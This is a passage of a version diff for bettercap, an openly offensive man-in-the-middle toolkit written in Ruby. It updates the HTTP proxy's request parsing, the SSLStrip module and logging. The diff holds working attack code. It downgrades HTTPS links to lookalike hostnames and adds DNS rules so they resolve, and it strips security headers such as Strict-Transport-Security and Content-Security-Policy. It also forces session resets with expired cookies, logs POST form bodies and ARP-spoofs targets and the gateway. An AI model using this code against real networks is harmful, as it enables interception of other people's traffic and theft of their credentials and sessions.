@port = $2.to_i
|
117
|
+
end
|
118
|
+
when 'Content-Length'
|
119
|
+
@content_length = value.to_i
|
120
|
+
# we don't want to have hundreds of threads running
|
121
|
+
when 'Connection'
|
122
|
+
value = 'close'
|
123
|
+
when 'Proxy-Connection'
|
124
|
+
name = 'Connection'
|
125
|
+
# disable gzip, chunked, etc encodings
|
126
|
+
when 'Accept-Encoding'
|
127
|
+
value = 'identity'
|
114
128
|
end
|
115
|
-
# parse content length, this will speed up data streaming
|
116
|
-
elsif line =~ /^Content-Length:\s+(\d+)\s*$/i
|
117
|
-
@content_length = $1.to_i
|
118
|
-
# we don't want to have hundreds of threads running
|
119
|
-
elsif line =~ /^Connection: keep-alive/i
|
120
|
-
line = 'Connection: close'
|
121
|
-
elsif line =~ /^Proxy-Connection: (.+)/i
|
122
|
-
line = "Connection: #{$1}"
|
123
|
-
# disable gzip, chunked, etc encodings
|
124
|
-
elsif line =~ /^Accept-Encoding:.*/i
|
125
|
-
line = 'Accept-Encoding: identity'
|
126
|
-
end
|
127
129
|
|
128
|
-
|
129
|
-
if line =~ /^([^:\s]+)\s*:\s*(.+)$/i
|
130
|
-
@headers[$1] = $2
|
130
|
+
@headers[name] = value
|
131
131
|
end
|
132
|
-
|
133
|
-
@lines << line
|
134
132
|
end
|
135
133
|
|
136
134
|
# Return true if this is a POST request, otherwise false.
|
137
135
|
def post?
|
138
|
-
@
|
136
|
+
@method == 'POST'
|
139
137
|
end
|
140
138
|
|
141
139
|
# Return a string representation of the HTTP request.
|
142
140
|
def to_s
|
143
|
-
@
|
141
|
+
raw = "#{@method} #{@path} HTTP/#{@version}\n"
|
142
|
+
|
143
|
+
@headers.each do |name,value|
|
144
|
+
raw << "#{name}: #{value}\n"
|
145
|
+
end
|
146
|
+
|
147
|
+
raw << "\n"
|
148
|
+
raw << ( @body || '' )
|
149
|
+
raw
|
144
150
|
end
|
145
151
|
|
152
|
+
# Return SCHEMA://HOST
|
146
153
|
def base_url
|
147
|
-
|
148
|
-
"#{schema}://#{@host}/"
|
154
|
+
"#{port == 443 ? 'https' : 'http'}://#{@host}"
|
149
155
|
end
|
150
156
|
|
151
157
|
# Return the full request URL trimming it at +max_length+ characters.
|
152
158
|
def to_url(max_length = 50)
|
153
|
-
|
154
|
-
url = "#{schema}://#{@host}#{@url}"
|
159
|
+
url = "#{base_url}#{@path}"
|
155
160
|
unless max_length.nil?
|
156
161
|
url = url.slice(0..max_length) + '...' unless url.length <= max_length
|
157
162
|
end
|
@@ -160,37 +165,23 @@ class Request
|
|
160
165
|
|
161
166
|
# Return the value of header with +name+ or an empty string.
|
162
167
|
def [](name)
|
163
|
-
|
168
|
+
( @headers.has_key?(name) ? @headers[name] : "" )
|
164
169
|
end
|
165
170
|
|
166
171
|
# If the header with +name+ is found, then a +value+ is assigned to it.
|
167
172
|
# If +value+ is null and the header is found, it will be removed.
|
168
173
|
def []=(name, value)
|
169
|
-
|
170
|
-
|
171
|
-
|
172
|
-
|
173
|
-
|
174
|
-
@headers.delete(name)
|
175
|
-
@lines.delete_at(i)
|
176
|
-
else
|
177
|
-
@headers[name] = value
|
178
|
-
@lines[i] = "#{name}: #{value}"
|
179
|
-
end
|
180
|
-
break
|
174
|
+
if @headers.has_key?(name)
|
175
|
+
if value.nil?
|
176
|
+
@headers.delete(name)
|
177
|
+
else
|
178
|
+
@headers[name] = value
|
181
179
|
end
|
182
|
-
|
183
|
-
|
184
|
-
if name == 'Host'
|
185
|
-
@host = value
|
186
|
-
end
|
187
|
-
|
188
|
-
if !found and !value.nil?
|
180
|
+
elsif !value.nil?
|
189
181
|
@headers[name] = value
|
190
|
-
@lines << "#{name}: #{value}"
|
191
182
|
end
|
192
183
|
|
193
|
-
@
|
184
|
+
@host = value if name == 'Host'
|
194
185
|
end
|
195
186
|
end
|
196
187
|
end
|
@@ -155,13 +155,18 @@ class Response
|
|
155
155
|
found = false
|
156
156
|
@headers.each_with_index do |header,i|
|
157
157
|
if header =~ /^#{name}:\s*.+$/i
|
158
|
-
|
158
|
+
if value.nil?
|
159
|
+
@headers.delete(i)
|
160
|
+
else
|
161
|
+
@headers[i] = "#{name}: #{value}"
|
162
|
+
end
|
163
|
+
|
159
164
|
found = true
|
160
165
|
break
|
161
166
|
end
|
162
167
|
end
|
163
168
|
|
164
|
-
unless found
|
169
|
+
unless found or value.nil?
|
165
170
|
@headers << "#{name}: #{value}"
|
166
171
|
end
|
167
172
|
end
|
@@ -28,7 +28,8 @@ class StrippedObject
|
|
28
28
|
SUBDOMAIN_REPLACES = {
|
29
29
|
'www' => 'wwwww',
|
30
30
|
'webmail' => 'wwebmail',
|
31
|
-
'mail' => 'wmail'
|
31
|
+
'mail' => 'wmail',
|
32
|
+
'm' => 'wmobile'
|
32
33
|
}.freeze
|
33
34
|
|
34
35
|
# Create an instance with the given arguments.
|
@@ -38,6 +39,16 @@ class StrippedObject
|
|
38
39
|
@stripped = stripped
|
39
40
|
end
|
40
41
|
|
42
|
+
# Return the #original hostname.
|
43
|
+
def original_hostname
|
44
|
+
URI::parse(@original).hostname
|
45
|
+
end
|
46
|
+
|
47
|
+
# Return the #stripped hostname.
|
48
|
+
def stripped_hostname
|
49
|
+
URI::parse(@stripped).hostname
|
50
|
+
end
|
51
|
+
|
41
52
|
# Return a normalized version of +url+.
|
42
53
|
def self.normalize( url, schema = 'https' )
|
43
54
|
# add schema if needed
|
@@ -94,13 +105,15 @@ class Strip
|
|
94
105
|
@stripped = []
|
95
106
|
@cookies = CookieMonitor.new
|
96
107
|
@favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
|
108
|
+
@resolver = BetterCap::Network::Servers::DNSD.new
|
109
|
+
@resolver.start
|
97
110
|
end
|
98
111
|
|
99
112
|
# Return true if the +request+ was stripped.
|
100
113
|
def was_stripped?(request)
|
101
114
|
url = request.base_url
|
102
115
|
@stripped.each do |s|
|
103
|
-
if s.client == request.client and s.stripped
|
116
|
+
if s.client == request.client and s.stripped.start_with?(url)
|
104
117
|
return true
|
105
118
|
end
|
106
119
|
end
|
@@ -109,7 +122,7 @@ class Strip
|
|
109
122
|
|
110
123
|
def unstrip( request, url )
|
111
124
|
@stripped.each do |s|
|
112
|
-
if s.client == request.client and s.stripped
|
125
|
+
if s.client == request.client and s.stripped.start_with?(url)
|
113
126
|
return s.original
|
114
127
|
end
|
115
128
|
end
|
@@ -140,6 +153,7 @@ class Strip
|
|
140
153
|
return true
|
141
154
|
end
|
142
155
|
|
156
|
+
process_headers!(response)
|
143
157
|
process_body!( request, response )
|
144
158
|
|
145
159
|
# do not retry the request.
|
@@ -148,13 +162,23 @@ class Strip
|
|
148
162
|
|
149
163
|
private
|
150
164
|
|
151
|
-
# Clean some headers from +
|
152
|
-
def process_headers!(
|
153
|
-
request
|
154
|
-
|
155
|
-
|
156
|
-
|
157
|
-
|
165
|
+
# Clean some headers from +r+.
|
166
|
+
def process_headers!(r)
|
167
|
+
# clean request
|
168
|
+
if r.is_a?(BetterCap::Proxy::Request)
|
169
|
+
r['Accept-Encoding'] = nil
|
170
|
+
r['If-None-Match'] = nil
|
171
|
+
r['If-Modified-Since'] = nil
|
172
|
+
r['Upgrade-Insecure-Requests'] = nil
|
173
|
+
r['Pragma'] = 'no-cache'
|
174
|
+
# clean response
|
175
|
+
else
|
176
|
+
r['X-Frame-Options'] = nil
|
177
|
+
r['X-Content-Type-Options'] = nil
|
178
|
+
r['X-Xss-Protection'] = nil
|
179
|
+
r['Strict-Transport-Security'] = nil
|
180
|
+
r['Content-Security-Policy'] = nil
|
181
|
+
end
|
158
182
|
end
|
159
183
|
|
160
184
|
# If +request+ has unknown session cookies, create a client redirection
|
@@ -165,7 +189,7 @@ class Strip
|
|
165
189
|
unless @cookies.is_clean?(request)
|
166
190
|
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
|
167
191
|
expired = @cookies.get_expired_headers!(request)
|
168
|
-
response = Response.redirect(
|
192
|
+
response = Response.redirect( request.to_url(nil), expired )
|
169
193
|
end
|
170
194
|
response
|
171
195
|
end
|
@@ -179,7 +203,7 @@ class Strip
|
|
179
203
|
# i.e: http://wwww.facebook.com/
|
180
204
|
url = StrippedObject.normalize( stripped, 'http' )
|
181
205
|
# i.e: www.facebook.com
|
182
|
-
unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub('
|
206
|
+
unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub( 'http://', '' ).gsub( /\/.*/, '' )
|
183
207
|
|
184
208
|
# loop each header and fix the stripped url if needed,
|
185
209
|
# this will fix headers such as Host, Referer, Origin, etc.
|
@@ -205,7 +229,7 @@ class Strip
|
|
205
229
|
|
206
230
|
# Return true if +request+ is a favicon request.
|
207
231
|
def is_favicon?(request)
|
208
|
-
( request.
|
232
|
+
( request.path.include?('.ico') or request.path.include?('favicon') )
|
209
233
|
end
|
210
234
|
|
211
235
|
# If the +response+ is a redirect to a HTTPS location, patch the +response+ and
|
@@ -215,7 +239,7 @@ class Strip
|
|
215
239
|
if response['Location'].start_with?('https://')
|
216
240
|
original, stripped = StrippedObject.process( response['Location'] )
|
217
241
|
|
218
|
-
|
242
|
+
add_stripped_object StrippedObject.new( request.client, original, stripped )
|
219
243
|
|
220
244
|
# If MAX_REDIRECTS is reached, the 'Location' header will be used.
|
221
245
|
response['Location'] = stripped
|
@@ -259,15 +283,23 @@ class Strip
|
|
259
283
|
rescue; end
|
260
284
|
|
261
285
|
unless links.empty?
|
262
|
-
Logger.
|
286
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
|
263
287
|
|
264
288
|
links.each do |l|
|
265
289
|
original, stripped = l
|
266
|
-
|
290
|
+
add_stripped_object StrippedObject.new( request.client, original, stripped )
|
267
291
|
response.body.gsub!( original, stripped )
|
268
292
|
end
|
269
293
|
end
|
270
294
|
end
|
295
|
+
|
296
|
+
private
|
297
|
+
|
298
|
+
def add_stripped_object( o )
|
299
|
+
@stripped << o
|
300
|
+
# make sure we're able to resolve the stripped domain
|
301
|
+
@resolver.add_rule( o.stripped_hostname, IPSocket.getaddress( o.original_hostname ) )
|
302
|
+
end
|
271
303
|
end
|
272
304
|
|
273
305
|
end
|
@@ -48,8 +48,6 @@ class StreamLogger
|
|
48
48
|
# Given +proto+ and +port+ return the network service name if possible.
|
49
49
|
def self.service( proto, port )
|
50
50
|
if @@services.nil?
|
51
|
-
Logger.info 'Preloading network services ...'
|
52
|
-
|
53
51
|
@@services = { :tcp => {}, :udp => {} }
|
54
52
|
filename = File.dirname(__FILE__) + '/../network/services'
|
55
53
|
File.open( filename ).each do |line|
|
@@ -126,7 +124,7 @@ class StreamLogger
|
|
126
124
|
msg << "\n[#{'BODY'.green}]\n\n"
|
127
125
|
|
128
126
|
case request['Content-Type']
|
129
|
-
when
|
127
|
+
when /application\/x-www-form-urlencoded.*/i
|
130
128
|
msg << self.dump_form( request )
|
131
129
|
|
132
130
|
when 'gzip'
|
@@ -146,8 +144,6 @@ class StreamLogger
|
|
146
144
|
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
|
147
145
|
# with the +request+ and +response+ most important informations.
|
148
146
|
def self.log_http( request, response )
|
149
|
-
is_https = request.port == 443
|
150
|
-
request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
|
151
147
|
response_s = "( #{response.content_type} )"
|
152
148
|
request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
|
153
149
|
code = response.code[0]
|
@@ -158,7 +154,7 @@ class StreamLogger
|
|
158
154
|
response_s += " [#{response.code}]"
|
159
155
|
end
|
160
156
|
|
161
|
-
Logger.raw "[#{self.addr2s(request.client)}] #{request.
|
157
|
+
Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s} #{response_s}"
|
162
158
|
# Log post body if the POST sniffer is enabled.
|
163
159
|
if Context.get.post_sniffer_enabled?
|
164
160
|
self.log_post( request )
|
@@ -20,21 +20,21 @@ class Streamer
|
|
20
20
|
def initialize( processor )
|
21
21
|
@processor = processor
|
22
22
|
@ctx = Context.get
|
23
|
-
@sslstrip = SSLStrip::Strip.new
|
23
|
+
@sslstrip = SSLStrip::Strip.new if @ctx.options.sslstrip
|
24
24
|
end
|
25
25
|
|
26
26
|
# Return true if the +request+ was stripped.
|
27
27
|
def was_stripped?(request, client)
|
28
28
|
if @ctx.options.sslstrip
|
29
|
-
request.client,
|
29
|
+
request.client, _ = get_client_details( client )
|
30
30
|
return @sslstrip.was_stripped?(request)
|
31
31
|
end
|
32
32
|
false
|
33
33
|
end
|
34
34
|
|
35
35
|
# Redirect the +client+ to a funny video.
|
36
|
-
def rickroll( client
|
37
|
-
client_ip, client_port = get_client_details(
|
36
|
+
def rickroll( client )
|
37
|
+
client_ip, client_port = get_client_details( client )
|
38
38
|
|
39
39
|
Logger.warn "#{client_ip}:#{client_port} is connecting to us directly."
|
40
40
|
|
@@ -44,10 +44,9 @@ class Streamer
|
|
44
44
|
# Handle the HTTP +request+ from +client+.
|
45
45
|
def handle( request, client, redirects = 0 )
|
46
46
|
response = Response.new
|
47
|
-
|
48
|
-
request.client, request.client_port = get_client_details( is_https, client )
|
47
|
+
request.client, _ = get_client_details( client )
|
49
48
|
|
50
|
-
Logger.debug "Handling #{request.
|
49
|
+
Logger.debug "Handling #{request.method} request from #{request.client} ..."
|
51
50
|
|
52
51
|
begin
|
53
52
|
r = nil
|
@@ -59,7 +58,7 @@ class Streamer
|
|
59
58
|
# call modules on_pre_request
|
60
59
|
@processor.call( request, nil )
|
61
60
|
|
62
|
-
self.send( "do_#{request.
|
61
|
+
self.send( "do_#{request.method}", request, response )
|
63
62
|
else
|
64
63
|
response = r
|
65
64
|
end
|
@@ -67,7 +66,7 @@ class Streamer
|
|
67
66
|
if response.textual?
|
68
67
|
StreamLogger.log_http( request, response )
|
69
68
|
else
|
70
|
-
Logger.debug "[#{request.client}] -> #{request.
|
69
|
+
Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
|
71
70
|
end
|
72
71
|
|
73
72
|
if @ctx.options.sslstrip
|
@@ -77,7 +76,7 @@ class Streamer
|
|
77
76
|
if redirects < SSLStrip::Strip::MAX_REDIRECTS
|
78
77
|
return self.handle( request, client, redirects + 1 )
|
79
78
|
else
|
80
|
-
Logger.info "[#{'SSLSTRIP'.
|
79
|
+
Logger.info "[#{'SSLSTRIP'.red} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
|
81
80
|
end
|
82
81
|
end
|
83
82
|
end
|
@@ -87,7 +86,7 @@ class Streamer
|
|
87
86
|
|
88
87
|
client.write response.to_s
|
89
88
|
rescue NoMethodError => e
|
90
|
-
Logger.warn "Could not handle #{request.
|
89
|
+
Logger.warn "Could not handle #{request.method} request from #{request.client} ..."
|
91
90
|
Logger.exception e
|
92
91
|
end
|
93
92
|
end
|
@@ -95,20 +94,15 @@ class Streamer
|
|
95
94
|
private
|
96
95
|
|
97
96
|
# Return the +client+ ip address and port.
|
98
|
-
def get_client_details(
|
99
|
-
|
100
|
-
client_port, client_ip = Socket.unpack_sockaddr_in(client.getpeername)
|
101
|
-
else
|
102
|
-
_, client_port, _, client_ip = client.peeraddr
|
103
|
-
end
|
104
|
-
|
97
|
+
def get_client_details( client )
|
98
|
+
_, client_port, _, client_ip = client.peeraddr
|
105
99
|
[ client_ip, client_port ]
|
106
100
|
end
|
107
101
|
|
108
102
|
# Use a Net::HTTP object in order to perform the +req+ BetterCap::Proxy::Request
|
109
103
|
# object, will return a BetterCap::Proxy::Response object instance.
|
110
104
|
def perform_proxy_request(req, res)
|
111
|
-
path = req.
|
105
|
+
path = req.path
|
112
106
|
response = nil
|
113
107
|
http = Net::HTTP.new( req.host, req.port )
|
114
108
|
http.use_ssl = ( req.port == 443 )
|
@@ -92,7 +92,7 @@ private
|
|
92
92
|
break
|
93
93
|
end
|
94
94
|
|
95
|
-
Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
|
95
|
+
# Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
|
96
96
|
|
97
97
|
update_targets!
|
98
98
|
|
@@ -106,7 +106,7 @@ private
|
|
106
106
|
|
107
107
|
# Get the MAC address of the gateway and update it.
|
108
108
|
def update_gateway!
|
109
|
-
hw = Network.get_hw_address( @ctx
|
109
|
+
hw = Network.get_hw_address( @ctx, @ctx.gateway )
|
110
110
|
raise BetterCap::Error, "Couldn't determine router MAC" if hw.nil?
|
111
111
|
@gateway = Network::Target.new( @ctx.gateway, hw )
|
112
112
|
|
@@ -118,9 +118,9 @@ private
|
|
118
118
|
@ctx.targets.each do |target|
|
119
119
|
# targets could change, update mac addresses if needed
|
120
120
|
if target.mac.nil?
|
121
|
-
hw = Network.get_hw_address( @ctx
|
121
|
+
hw = Network.get_hw_address( @ctx, target.ip )
|
122
122
|
if hw.nil?
|
123
|
-
Logger.warn "Couldn't determine target #{ip} MAC address!"
|
123
|
+
Logger.warn "Couldn't determine target #{target.ip} MAC address!"
|
124
124
|
next
|
125
125
|
else
|
126
126
|
target.mac = hw
|
data/lib/bettercap/version.rb
CHANGED
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
|
|
12
12
|
=end
|
13
13
|
module BetterCap
|
14
14
|
# Current version of bettercap.
|
15
|
-
VERSION = '1.3.
|
15
|
+
VERSION = '1.3.9'
|
16
16
|
# Program banner.
|
17
17
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
18
18
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.3.
|
4
|
+
version: 1.3.9
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-02-
|
11
|
+
date: 2016-02-16 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -148,6 +148,7 @@ files:
|
|
148
148
|
- lib/bettercap/network/servers/httpd.rb
|
149
149
|
- lib/bettercap/network/services
|
150
150
|
- lib/bettercap/network/target.rb
|
151
|
+
- lib/bettercap/network/validator.rb
|
151
152
|
- lib/bettercap/options.rb
|
152
153
|
- lib/bettercap/proxy/certstore.rb
|
153
154
|
- lib/bettercap/proxy/module.rb
|